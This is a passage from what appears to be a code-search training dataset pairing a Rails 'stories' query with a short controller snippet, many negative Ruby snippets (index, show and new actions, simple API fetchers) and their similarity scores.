story[\"channel\"]}\n\tget_upvotes(story)\n\tdisplay_new_story\n\tstory\n\tend\nend", "def show\n @stories = Story.find_by(id: params[:id])\n \n end", "def stories ; @stories || get_stories ; end", "def stories ; @stories || get_stories ; end", "def index\n @stories = Story.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def show\n render json: @story, root: false\n end", "def fresh_stories\n get_data(\"stories/fresh\")\n end", "def stories(options = {})\n stories = if options[:id]\n [@project.stories(options[:id]).get.payload]\n else\n @project.stories.get(params: options)\n end\n stories = stories.map { |s| Story.new(s, @project) }\n stories.select(&:estimated)\n end", "def index\n #@usemap = true\n\n @stories = Story.editable_user(current_user.id) \n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @stories }\n end\n end", "def show\n @yourstory = Yourstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @yourstory }\n end\n end", "def show\n @sprintstory = Sprintstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprintstory }\n end\n end", "def retrieve\n sort = 'created_at DESC'\n\n case params[:sort]\n when 'recent'\n sort = 'created_at DESC'\n when 'popular'\n sort = 'views DESC, likes DESC'\n else\n\n end\n\n stories = Story.where(\"LOWER(name) LIKE ?\", '%' + params[:query].downcase + '%').order(sort).offset(params[:offset]).limit(params[:limit])\n\n render json: stories\n end", "def show\n @story = Story.all(:include => :role, :conditions => {:stories => { :id => params[:id] } })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end", "def index\n @stories = Story.all\n authorize! :index, @story\n end", "def index\n @user_stories = UserStory.all\n end", "def index\n @stories = Story(:all, :order => 'value')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def show\n render status: 200, json: UserTrainingStory.find(params[:id])\n end", "def show\n redirect_to sections_story_path(params[:id])\n # @story = Story.find_by_id(params[:id])\n\n # respond_to do |format|\n # format.html #show.html.erb\n # format.json { render json: @story }\n # end\n end", "def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def stories\n @stories.keys.each_with_index.map { |story_name, i| get_story(story_name, i) }\n end", "def show\n @story = Story.find(params[:id])\n\t\t@title = \"Newsy | \" + @story.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def index\n @stories = Story.where(user_id: current_user.id)\n end", "def show\n @story = Story.find(params[:id])\n\n # Set meta information\n @page_title = @story.title\n @page_description = @story.subtitle\n\n if Arrowhead.is_arrowhead_story? @story\n @arrowhead_stories = Arrowhead.stories\n @i = @arrowhead_stories.find_index(@story)\n if @i\n @prev = @i > 0 ? @i - 1 : nil \n @next = @i < @arrowhead_stories.length - 1 ? @i + 1 : nil\n end\n set_meta_tags :og => {\n :title => @story.title,\n :description => @story.subtitle,\n :type => 'article',\n :url => url_for(@story),\n :image => URI.join(root_url, view_context.image_path('arrowhead_ogimage.jpg'))\n }\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story.to_json(:include => { :scenes => { :include => :paragraphs }}) }\n end\n end", "def index\n page = 1\n page = params[:page] if params[:page]\n @stories = Story.paginate :page => page, :order => 'created_at DESC', :per_page => 5\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def index\n @stories = Story.all.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html\n format.js\n end\n end", "def index\n @stories = Story.order(params[:sort]).page(params[:page]).per(10)\n end", "def stories(project, api_key, filter='')\n\treq = Net::HTTP::Get.new(\n \"/services/v3/projects/#{project}/stories?filter=#{filter}\",\n {'X-TrackerToken'=>api_key}\n )\n res = Net::HTTP.start(@pt_uri.host, @pt_uri.port) {|http|\n http.request(req)\n }\n\n return res.body\nend", "def stories() @stories = Stories.new end", "def stories(per_page: 20, options: {})\n params = { limit: per_page }.reject { |_,v| v.nil? || Array(v).empty? }\n Collection.new(parse(client.get(\"/tasks/#{gid}/stories\", params: params, options: options)), type: Story, client: client)\n end", "def index\n @stories = Story.scoped\n\n @stories = @stories.where(:user_id => params[:user]) if params[:user].present? \n @stories = @stories.where(:state => params[:state]) if params[:state].present? \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories.all }\n end\n end", "def show\n @story_status = StoryStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_status }\n end\n end", "def show\n @text_story = TextStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text_story }\n end\n end", "def show\n @story = Story.find(params[:id])\n end", "def index\n @project_stories = ProjectStory.all\n end", "def story(story_id)\n Endpoints::Story.new(self).get_story(story_id)\n end", "def show\n user = User.find(params[:id])\n # render json: {\n # # user.to_json(include: :stories, except: :password_digest)\n # user: user,\n # stories: user.stories,\n # success: true\n # }\n render json: user.to_json(include: :stories, except: :password_digest)\n end", "def green_stories\n get_data(\"stories/green\")\n end", "def index\n @news_stories = NewsStory.all\n end", "def index\n\t\t@username = \"Timothy\"\n\t\t@now = Time.now\n\n\t\t#@stories = [\"google\",\"facebook\", \"twitter\", \"linkedin\" , \"Andy\"]\n\n\n\t\t#set the variable stories\n\t\t#to all the records in our story database table\n\n\t\t# @stories = Story.order(\"created_at desc\")\n\n\t\t# @stories = Story.order(\"votes_count desc, title asc\")\n\n\t\t# if it has ?sort=recent in the url\n\t\t# sort by created at\n\t\t# if it has nothing, then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\t\n\t\t\t# sort by created at, \n\n\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort]==\"featured\"\n\n\t\t\t# sort by featured\n\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"is_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\")\n\t\t\t# sort by popular\n\t\tend\n\n\t\t# add in my pagination\n\n\t\t# overwrite the @stories variable with a paginated version\n\n\t\t@stories = @stories.page(params[:page]).per(3)\n\n\tend", "def show\n\n\t# params[:id] is the number in the url we are looking for\n\n\t\t# @story = Story.find(params[:id])\n\n\tend", "def index\n @story_pages = StoryPage.all\n end", "def project_story(project_id, story_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}/story/#{story_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end", "def show\n # params[#id] is form the URL, e.g if /stories/7\n # then params[:id] is 7\n @story = Story.find(params[:id])\n end", "def show\n @storyboard = Storyboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storyboard }\n end\n end", "def index\n\t\t@username = \"trev\"\n\t\t@now = Time.now\n\n\t\t# @stories = [\"Google\", \"Facebook\", \"Twitter\", \"blinq\"]\n\n\t\t#set the variable @stories to all the records in our database table\n\t\t#@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\n\n\t\t#if it has ?sort=recet in the url, then sort by created at, if it has nothing sort by popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created at\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"id_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\t\tend\n\n\t\t#add in my pagination\n\t\t#overwrite the @stories variabl with a paginated version\n\t\t@stories = @stories.page(params[:page]).per(20)\n\n\n\tend", "def show\n @story = Story.find(params[:id])\n @stat = Status.where(:id => @story.status_id).first.descripcion\n @criterios = Criterio.where(:story_id => @story.id)\n @tasks = Task.where(:story_id => @story.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n format.json { render json: @criterios }\n format.json { render json: @tasks }\n end\n end", "def get_from_mashable\n route = 'http://mashable.com/stories.json'\n raw_response = RestClient.get route\n response = JSON.load raw_response\n response[\"hot\"].map do |story|\n story_hash = {\n title: story[\"title\"],\n score: story[\"shares\"][\"total\"],\n category: story[\"channel\"],\n author: story[\"author\"]\n }\n end\nend", "def stories_list\n @stories.values\n end", "def index\n @facebook_user_stories = GameRules::Rules.the_rules.facebook_user_stories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facebook_user_stories }\n end\n end", "def index\n @q = Story.search(params[:q])\n @stories = @q.result(:distinct => true).by_flagged(false).order(\"created_at DESC\").all(:conditions => { :draft => false }).to_a\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stories }\n end\n end", "def index\n\t\t@username = \"funkyb\" #added a username\n\t\t@righthere_rightnow = Time.now\n\n\n\t\t#@stories = [\"Google\", \"Yahoo\", \"kobestarr\", \"iTunes\", \"dancing spiderman\"]\n\n\t\t#set the variables @stories to all of the records in our story db\n\n\t\t#@stories = Story.order(\"votes_count desc, title asc\" )\n\n\n\t\t# if it has ?sort=recent in the url then sort by \n\t\t# created at\n\t\t# if it has nothing then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created_at\n\t\t\t@stories = Story.order(\"created_at desc\" )\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t.order(\"is_featured desc, title asc\" )\n\n\t\t\t\t\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\" )\n\t\tend\n\n\t\t# this is where we are gonna add the pagination\n\t\t# overwrite the @stories variable with a paginated version\n\t\t# infor from documentation User.page(7).per(50)\n\t\t@stories = @stories.page(params[:page]).per(4)\n\t\t\n\tend", "def show\n\t\t# params[:id] is the number in the url that we are looking for\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend", "def show\n @pic_story = PicStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic_story }\n end\n end", "def show\n\t\t#params[:id] is the number in the url we are looking for\n\t\t#@story = Story.find(params[:id])\n\tend", "def stories\n @stories ||= DataStore.stories_for_project(self)\n end", "def show\n @story = Story.find(params[:id])\n \n # set map data, if it's the primary media for this story\n if @story.media_type.name == \"map_interview\"\n @media_geojson = @story.map_data ? @story.map_data.html_safe : \"\"\n end\n \n # we probably just want to show a dot on the map, e.g. no popup\n #@geojson = @story.to_geojson.html_safe\n @geojson = @story.to_geojson_point.html_safe\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def index\n\n\t\t@username = \"Kate\"\n\t\t@now = Time.now\n\n\t# @stories = [\"Google\", \"Facebook\", \"Linkedin\", \"Foursquare\", \"Twitter\n\t# set the variable @stories to all the records in our database table \n\n\t\t# @stories = Story.order(\"votes_count desc, title asc\")\n\n\t\t# if it has ?sort=recent in url\n\t\t# then sort by created_at\n\t\t# if it has nothing, then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\n\t\t# sort by created_at\n\n\t\t\t@stories = Story.order(\"created_at desc\")\n\t\t\t\n\t\telsif params[:sort] == \"featured\"\n\t\t\n\t\t# sort by featured\n\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"is_featured desc, title asc\")\n\n\t\telse\n\n\t\t# sort by popular \n\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\")\n\n\t\tend\n\n\t\t# add in my pagination\n\t\t# overwrite the @stories variable with a paginated version\n\n\t\t\t@stories = @stories.page(params[:page]).per(20)\n\n\n\tend", "def retrieve_story(uid)\n response = get(\"/api/v1/stories/#{uid}\")\n Trubl::Story.new.from_response(response)\n end", "def show\n @story_choice = StoryChoice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story_choice }\n end\n end", "def index\n @stories = Story.sorted\n end", "def index\n @audio_stories = AudioStory.all\n end", "def get_input_mashable(stories)\n response = JSON.parse(RestClient.get 'http://mashable.com/stories.json')\n response['new'].each do |story|\n story[:title] = story['title']\n story[:category] = story['channel']\n stories << {s_title: story[:title], s_story: story[:category]} \n end \n stories\nend", "def show\n @stories = @group.stories\n end", "def index\n @project_id = params[:project_id]\n @sprints = Sprint.joins(:stories).where(:stories => {:project_id => @project_id})\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprints }\n end\n end", "def show\n @story = Story.find(params[:id]) # place dans l'objet @story accessible par la vue les infos de la story[id]\n end", "def create\n # Used to make sure a created story is given to current_user\n @story = current_user.stories.new(story_params)\n\n respond_to do |format|\n if @story.save\n format.json { render json: @story, root: false, status: :created, location: @story }\n else\n format.json { render json: @story.errors, root: false, status: :unprocessable_entity }\n end\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end" ]
[ "0.7912268", "0.7652356", "0.7617811", "0.749546", "0.74498045", "0.74498045", "0.74498045", "0.74498045", "0.74498045", "0.74498045", "0.7448078", "0.7423067", "0.74189985", "0.74189985", "0.73998713", "0.73920465", "0.7388038", "0.7382927", "0.73384607", "0.73384607", "0.73078996", "0.7301916", "0.72920823", "0.7265824", "0.72652596", "0.72652596", "0.7179861", "0.71740556", "0.7149062", "0.7149062", "0.7144489", "0.7116005", "0.7066014", "0.7048887", "0.6996244", "0.6960392", "0.6955311", "0.69361216", "0.6934765", "0.6897579", "0.68913823", "0.68552256", "0.6835496", "0.6834116", "0.6802348", "0.67891943", "0.675661", "0.6740221", "0.67342013", "0.67210615", "0.6720395", "0.6711041", "0.6706426", "0.6702608", "0.66822517", "0.66790926", "0.6675668", "0.6672432", "0.66518694", "0.66398233", "0.66071105", "0.6587183", "0.6580168", "0.65784264", "0.65706825", "0.656682", "0.65660506", "0.6559072", "0.65210813", "0.6516955", "0.6515054", "0.6515011", "0.65026814", "0.64964855", "0.6480936", "0.64734465", "0.64696777", "0.64633805", "0.6452397", "0.6449188", "0.64434916", "0.6436282", "0.6424671", "0.6412722", "0.6374871", "0.6374871", "0.6374871", "0.6373255", "0.6362082", "0.6359221", "0.63551503", "0.63371986", "0.6335417", "0.63235706", "0.6294896", "0.62911755", "0.6287894", "0.62744355", "0.62744355", "0.62744355", "0.62744355" ]
0.0
-1
GET /stories/1 GET /stories/1.json
def show redirect_to @story.first_chapter end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n story = Story.find(params[:id])\n render json: story\n end", "def index\n @stories = Story.all\n render json: @stories, root: false\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def index\n @stories = Story.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def show\n @stories = Story.find_by(id: params[:id])\n \n end", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def index\n @stories = Story.all\n end", "def get_stories\n api_url = \"#{CONFIG[:api_location]}/projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def index\n # description of @stories is not necessary - it is handled by decent_exposure\n end", "def index\n render json: Story.all\n end", "def show\n @yourstory = Yourstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @yourstory }\n end\n end", "def index\n @sprintstories = Sprintstory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprintstories }\n end\n end", "def show\n @story = Story.find(params[:id])\n\t\t@title = \"Newsy | \" + @story.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def fresh_stories\n get_data(\"stories/fresh\")\n end", "def show\n render json: @story, root: false\n end", "def show\n @sprintstory = Sprintstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprintstory }\n end\n end", "def index\n @stories = Story.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def show\n render status: 200, json: UserTrainingStory.find(params[:id])\n end", "def get_stories\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end", "def show\n @story = Story.find(params[:id])\n end", "def task_stories(id, options = {})\n request(:get, \"tasks/#{id}/stories\", options)\n end", "def show\n # params[#id] is form the URL, e.g if /stories/7\n # then params[:id] is 7\n @story = Story.find(params[:id])\n end", "def show\n redirect_to sections_story_path(params[:id])\n # @story = Story.find_by_id(params[:id])\n\n # respond_to do |format|\n # format.html #show.html.erb\n # format.json { render json: @story }\n # end\n end", "def stories\n @stories ||= Stories.new(data)\n end", "def show\n @story_status = StoryStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_status }\n end\n end", "def stories ; @stories || get_stories ; end", "def stories ; @stories || get_stories ; end", "def show\n\n\t# params[:id] is the number in the url we are looking for\n\n\t\t# @story = Story.find(params[:id])\n\n\tend", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end", "def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end", "def show\n @story = Story.all(:include => :role, :conditions => {:stories => { :id => params[:id] } })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "def show\n\t\t# params[:id] is the number in the url that we are looking for\n\t\t# @story = Story.find(params[:id])\n\t\t\n\tend", "def show\n\t\t#params[:id] is the number in the url we are looking for\n\t\t#@story = Story.find(params[:id])\n\tend", "def show\n @story = Story.find(params[:id])\n\n # Set meta information\n @page_title = @story.title\n @page_description = @story.subtitle\n\n if Arrowhead.is_arrowhead_story? @story\n @arrowhead_stories = Arrowhead.stories\n @i = @arrowhead_stories.find_index(@story)\n if @i\n @prev = @i > 0 ? @i - 1 : nil \n @next = @i < @arrowhead_stories.length - 1 ? @i + 1 : nil\n end\n set_meta_tags :og => {\n :title => @story.title,\n :description => @story.subtitle,\n :type => 'article',\n :url => url_for(@story),\n :image => URI.join(root_url, view_context.image_path('arrowhead_ogimage.jpg'))\n }\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story.to_json(:include => { :scenes => { :include => :paragraphs }}) }\n end\n end", "def show\n @text_story = TextStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text_story }\n end\n end", "def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end", "def index\n #@usemap = true\n\n @stories = Story.editable_user(current_user.id) \n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @stories }\n end\n end", "def index\n @stories = Story(:all, :order => 'value')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def story(story_id)\n Endpoints::Story.new(self).get_story(story_id)\n end", "def get_mashable_stories\n\n\ts = JSON.load(RestClient.get('http://mashable.com/stories.json')) \n\ts[\"hot\"].map do |story|\n\ts = {story: story[\"title\"], category: story[\"channel\"]}\n\tget_upvotes(story)\n\tdisplay_new_story\n\tstory\n\tend\nend", "def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def retrieve\n sort = 'created_at DESC'\n\n case params[:sort]\n when 'recent'\n sort = 'created_at DESC'\n when 'popular'\n sort = 'views DESC, likes DESC'\n else\n\n end\n\n stories = Story.where(\"LOWER(name) LIKE ?\", '%' + params[:query].downcase + '%').order(sort).offset(params[:offset]).limit(params[:limit])\n\n render json: stories\n end", "def show\n @storyboard = Storyboard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storyboard }\n end\n end", "def show\n @pic_story = PicStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic_story }\n end\n end", "def index\n @stories = Story.all\n authorize! :index, @story\n end", "def index\n @user_stories = UserStory.all\n end", "def show\n @story = Story.find(params[:id]) # place dans l'objet @story accessible par la vue les infos de la story[id]\n end", "def find_story\n @story = Story.find(params[:id])\n end", "def show\n\t\t# @story = Story.find( params[:id] )\n\n\tend", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end", "def stories(options = {})\n stories = if options[:id]\n [@project.stories(options[:id]).get.payload]\n else\n @project.stories.get(params: options)\n end\n stories = stories.map { |s| Story.new(s, @project) }\n stories.select(&:estimated)\n end", "def show\n @story_choice = StoryChoice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story_choice }\n end\n end", "def index\n @project_stories = ProjectStory.all\n end", "def project_story(project_id, story_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}/story/#{story_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end", "def stories() @stories = Stories.new end", "def index\n page = 1\n page = params[:page] if params[:page]\n @stories = Story.paginate :page => page, :order => 'created_at DESC', :per_page => 5\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def list_stories(opts = {})\n data, _status_code, _headers = list_stories_with_http_info(opts)\n data\n end", "def index\n @stories = Story.where(user_id: current_user.id)\n end", "def show\n @story = Story.find(params[:id])\n @stat = Status.where(:id => @story.status_id).first.descripcion\n @criterios = Criterio.where(:story_id => @story.id)\n @tasks = Task.where(:story_id => @story.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n format.json { render json: @criterios }\n format.json { render json: @tasks }\n end\n end", "def find_story\n @story = Story.find(params[:id])\n end", "def find_story\n\n\t\t@story = Story.find(params[:id])\n\n\n\n\n\tend", "def find_story\n\t\t@story = Story.find(params[:id])\n\tend", "def retrieve_story(uid)\n response = get(\"/api/v1/stories/#{uid}\")\n Trubl::Story.new.from_response(response)\n end", "def find_story\n\n\t\t\t@story = Story.find(params[:id])\n\n\tend", "def show\n @sprint = Sprint.find(params[:id])\n @stat = Status.find(4)\n @stories = Story.where(\"status_id = ?\", @stat.id)\n @examples = @sprint.stories \n @project_id = @examples.first.project_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end", "def stories(project, api_key, filter='')\n\treq = Net::HTTP::Get.new(\n \"/services/v3/projects/#{project}/stories?filter=#{filter}\",\n {'X-TrackerToken'=>api_key}\n )\n res = Net::HTTP.start(@pt_uri.host, @pt_uri.port) {|http|\n http.request(req)\n }\n\n return res.body\nend", "def find_story\n\t\t@story = Story.find(params[:id])\n\t\t\n\tend", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end", "def index\n @stories = Story.order(params[:sort]).page(params[:page]).per(10)\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story }\n end\n end", "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story }\n end\n end", "def history\n @story = Story.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def index\n @stories = Story.all.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html\n format.js\n end\n end", "def show\n user = User.find(params[:id])\n # render json: {\n # # user.to_json(include: :stories, except: :password_digest)\n # user: user,\n # stories: user.stories,\n # success: true\n # }\n render json: user.to_json(include: :stories, except: :password_digest)\n end", "def green_stories\n get_data(\"stories/green\")\n end", "def index\n @stories = Story.scoped\n\n @stories = @stories.where(:user_id => params[:user]) if params[:user].present? \n @stories = @stories.where(:state => params[:state]) if params[:state].present? \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories.all }\n end\n end", "def show\n @storylink = Storylink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storylink }\n end\n end", "def show \n PivotalTracker::Client.token = current_user.setting.pt_api_key\n @project = PivotalTracker::Project.find(params[:id].to_i)\n @stories = @project.stories.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end", "def stories\n @stories.keys.each_with_index.map { |story_name, i| get_story(story_name, i) }\n end", "def show\n @story_comment = StoryComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_comment }\n end\n end", "def index\n @story_pages = StoryPage.all\n end", "def index\n @news_stories = NewsStory.all\n end", "def create\n story_params = {\n title: params[:title],\n summary: params[:summary],\n }\n @story = Story.new(story_params)\n\n if @story.save\n # render :show, status: :created, location: @story\n render json: @story\n else\n render json: @story.errors, status: :unprocessable_entity\n end\n end" ]
[ "0.77512723", "0.77086306", "0.7524696", "0.75152636", "0.74868363", "0.7486413", "0.7486413", "0.7464921", "0.74565643", "0.74565643", "0.7368119", "0.7368119", "0.7368119", "0.7368119", "0.7368119", "0.7368119", "0.73667985", "0.732709", "0.7308125", "0.7269857", "0.72024816", "0.7186609", "0.71548647", "0.7121216", "0.7086585", "0.70762366", "0.70758206", "0.70643985", "0.70601016", "0.70240796", "0.7019073", "0.69798404", "0.6968807", "0.6964389", "0.6958815", "0.69576144", "0.69576144", "0.6949677", "0.69461185", "0.69461185", "0.6938631", "0.6925129", "0.6874255", "0.6867689", "0.683814", "0.6836722", "0.68213505", "0.677246", "0.67686427", "0.67632973", "0.67493033", "0.6745743", "0.67196625", "0.67191195", "0.67098975", "0.67044824", "0.67020094", "0.67011064", "0.6678112", "0.666474", "0.66451794", "0.66451794", "0.66451794", "0.663406", "0.6632397", "0.66312563", "0.661723", "0.6616692", "0.6615624", "0.66062915", "0.6604011", "0.6600644", "0.6595812", "0.6593616", "0.65753126", "0.65619445", "0.65492254", "0.6548566", "0.65447044", "0.65381116", "0.6535062", "0.6535062", "0.6535062", "0.6535062", "0.65323234", "0.6522883", "0.6522883", "0.6522883", "0.6522883", "0.6506893", "0.64999664", "0.6492388", "0.649193", "0.64913297", "0.64738554", "0.6463272", "0.6463172", "0.645537", "0.6408518", "0.640709", "0.6401234" ]
0.0
-1